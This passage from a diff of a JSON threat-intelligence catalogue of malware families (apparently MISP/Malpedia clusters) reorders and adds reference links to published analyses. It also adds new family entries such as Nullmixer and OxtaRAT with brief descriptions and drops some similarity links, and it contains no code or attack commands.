"https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", "https://blogs.360.cn/post/APT-C-44.html", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://blog.morphisec.com/syk-crypter-discord", + "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", + "https://intel471.com/blog/privateloader-malware", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://attack.mitre.org/groups/G0096", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", - "http://blogs.360.cn/post/analysis-of-apt-c-37.html", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", + "https://forensicitguy.github.io/njrat-installed-from-msi/", + "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", + "https://labs.k7computing.com/?p=21904", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://blog.morphisec.com/syk-crypter-discord", + "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", + "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.4hou.com/posts/VoPM", + "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", + "https://di.sclosu.re/en/njrat-malware-spreading-through-discord-cdn-and-facebook-ads/", + "http://blogs.360.cn/post/analysis-of-apt-c-37.html", + "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://asec.ahnlab.com/1369", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", + "https://www.trendmicro.com/en_us/research/23/a/earth-bogle-campaigns-target-middle-east-with-geopolitical-lures.html", + "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html" ], "synonyms": [ - "Bladabindi" + "Bladabindi", + "Lime-Worm" ], "type": [] }, - "related": [ - { - "dest-uuid": "a860d257-4a39-47ec-9230-94cac67ebf7e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ff611c24-289e-4f2d-88d2-cfbf771a4e4b", "value": "NjRAT" }, @@ -34221,23 +36050,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf" + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9e4fd0d3-9736-421c-b1e1-96c1d3665c80", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f3cbe9ca-e65e-41af-8eb2-1e9877434124", "value": "Nokki" }, @@ -34246,9 +36066,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa", + "https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokayawa-variant", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", + "https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust", + "https://malgamy.github.io/malware-analysis/Nokoyawa/", "https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/" + "https://github.com/MalGamy/YARA_Rules/blob/main/Nokoyawa.yara" ], "synonyms": [], "type": [] @@ -34256,6 +36080,20 @@ "uuid": "934a633a-21f7-4010-a83a-0b64c365355d", "value": "Nokoyawa Ransomware" }, + { + "description": "A wiper that overwrites target files with itself, thus spreading in virus-fashion.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery", + "https://twitter.com/struppigel/status/1501473254787198977", + "https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2fef9561-e16f-47a9-90c6-a68a1b20cc95", + "value": "NominatusToxicBattery" + }, { "description": "An open source C2 framework intended for pentest and red teaming activities.", "meta": { @@ -34269,13 +36107,26 @@ "uuid": "b783b185-e05c-481b-8c04-d0ba1b745713", "value": "NorthStar" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu", + "https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a67b25dd-527f-40fa-b7e0-c93e856c0a4c", + "value": "Nosu" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer", - "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf" + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/" ], "synonyms": [], "type": [] @@ -34300,9 +36151,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom", - "https://twitter.com/malwrhunterteam/status/910952333084971008", "https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/", - "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin" + "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin", + "https://twitter.com/malwrhunterteam/status/910952333084971008" ], "synonyms": [], "type": [] @@ -34324,6 +36175,23 @@ "uuid": "25a5ded7-6167-4f9a-b55d-9cfc9a9a9f22", "value": "NuggetPhantom" }, + { + "description": "Nullmixer is a dropper/loader for additional malware. It is known to drop a vast amount of different malware, such as info stealers, rats and additional loaders. Samples observed contained up to 8 additional payloads.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer", + "https://www.youtube.com/watch?v=v_K_zoPGpdk", + "https://www.youtube.com/watch?v=yLQfDk3dVmA", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.youtube.com/watch?v=92jKJ_G_6ho" + ], + "synonyms": [], + "type": [] + }, + "uuid": "430c92f4-95b4-4b1c-813a-46d3e53a0d1e", + "value": "Nullmixer" + }, { "description": "", "meta": { @@ -34344,8 +36212,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit", "http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf", - "https://twitter.com/Bank_Security/status/1134850646413385728", - "https://twitter.com/r3c0nst/status/1135606944427905025" + "https://twitter.com/r3c0nst/status/1135606944427905025", + "https://twitter.com/Bank_Security/status/1134850646413385728" ], "synonyms": [], "type": [] @@ -34359,8 +36227,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm", "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/", - "https://bazaar.abuse.ch/browse/tag/N-W0rm/", - "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/" + "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/", + "https://bazaar.abuse.ch/browse/tag/N-W0rm/" ], "synonyms": [ "NWorm", @@ -34372,39 +36240,32 @@ "value": "N-W0rm" }, { - "description": "", + "description": "Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim", - "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", + "https://blog.talosintelligence.com/goznym/", + "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", + "https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/", "https://www.cert.pl/en/news/single/nymaim-revisited/", - "https://www.justice.gov/opa/pr/goznym-cyber-criminal-network-operating-out-europe-targeting-american-entities-dismantled", "https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/", + "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", + "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", + "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim", "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/", "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", - 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"https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", - "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://asec.ahnlab.com/en/45462/", + "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", + "https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/", "https://assets.virustotal.com/reports/2021trends.pdf", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/" + "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/" ], "synonyms": [ "Schnorchel" @@ -34845,11 +36688,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt", + "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", + "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/", "https://www.gdata.de/blog/2017/11/30151-ordinypt", - "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" ], "synonyms": [ @@ -34858,15 +36701,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "1d46f816-d159-4457-b98e-c34307d90655", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7fd96553-4c78-43de-824f-82645ed4fac5", "value": "Ordinypt" }, @@ -34888,15 +36722,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", - "https://3xp0rt.com/posts/mars-stealer", - "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", "https://cyberint.com/blog/research/mars-stealer/", - "https://twitter.com/albertzsigovits/status/1160874557454131200", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://3xp0rt.com/posts/mars-stealer", + "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/", "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view", - "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/" + "https://twitter.com/albertzsigovits/status/1160874557454131200", + "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468" ], "synonyms": [], "type": [] @@ -34953,8 +36788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://twitter.com/VK_Intel/status/1085820673811992576" ], "synonyms": [ @@ -35026,10 +36861,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy", - "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20", + "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/", "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", - "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/" + "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20" ], "synonyms": [], "type": [] @@ -35050,6 +36885,19 @@ "uuid": "aa985bc5-92e4-43c6-a01b-1de02818cfc9", "value": "Owowa" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.oxtarat", + "https://research.checkpoint.com/2023/operation-silent-watch-desktop-surveillance-in-azerbaijan-and-armenia/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a5b379c0-7934-4a50-9a34-7ad1524b1fb0", + "value": "OxtaRAT" + }, { "description": "", "meta": { @@ -35082,8 +36930,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt", - "https://johannesbader.ch/2016/03/the-dga-of-padcrypt/", - "https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/" + "https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/", + "https://johannesbader.ch/2016/03/the-dga-of-padcrypt/" ], "synonyms": [], "type": [] @@ -35096,8 +36944,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf" + "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" ], "synonyms": [], "type": [] @@ -35110,24 +36958,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker", - "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", - "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", - "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", - "https://www.spamhaus.org/news/article/771/", - "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html", "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/", - "https://www.youtube.com/watch?v=J7VOfAJvxEY", - "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", - "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", + "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", + "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html" + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.youtube.com/watch?v=J7VOfAJvxEY", + "https://www.spamhaus.org/news/article/771/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", + "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", + "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", + "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media" ], "synonyms": [ "ZeusPanda" @@ -35138,7 +36986,7 @@ "value": "PandaBanker" }, { - "description": "", + "description": "According to PCrisk, Panda is the name of a malicious program, which is classified as a stealer. It is a new variant of CollectorStealer.\r\n\r\nThe aim of this malware is to extract and exfiltrate sensitive and personal information from infected devices. Panda primarily targets data relating to cryptocurrency wallets.\r\n\r\nThis piece of malicious software has been observed being actively distributed via spam campaigns - large-scale operations during which thousands of scam emails are sent. The spam mail proliferating Panda stealer heavily targeted users from the United States, Germany, Japan, and Australia.\r\n\r\nThe deceptive email letters concerned business-related topics (e.g., fake product quote requests, etc.). Panda stealer is a dangerous program, and as such - its infections must be removed immediately upon detection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer", @@ -35156,28 +37004,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora", - "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", + "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", + "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://dissectingmalwa.re/blog/pandora/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2c215062-5739-4859-bd82-9639ae1d1756", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e43b67bc-3c16-4a69-b63d-f6bf3d732e1b", "value": "Pandora" }, @@ -35187,8 +37026,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat", "https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware" + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya" ], "synonyms": [ "Pandora hVNC RAT" @@ -35203,7 +37042,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper", - "https://www.youtube.com/watch?v=wjoH9jW2EPQ" + "https://www.youtube.com/watch?v=wjoH9jW2EPQ", + "https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/" ], "synonyms": [], "type": [] @@ -35216,12 +37056,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise", - "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", + "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://asec.ahnlab.com/en/47590/", "https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/", - "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again", + "https://www.trendmicro.com/en_us/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html", + "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", "https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool", - "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/" + "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again" ], "synonyms": [], "type": [] @@ -35234,12 +37076,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax", - "https://blog.morphisec.com/parallax-rat-active-status", - "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", "https://twitter.com/malwrhunterteam/status/1227196799997431809", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://blog.morphisec.com/parallax-rat-active-status", "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", + "https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration", "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/" ], "synonyms": [ @@ -35268,30 +37111,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - 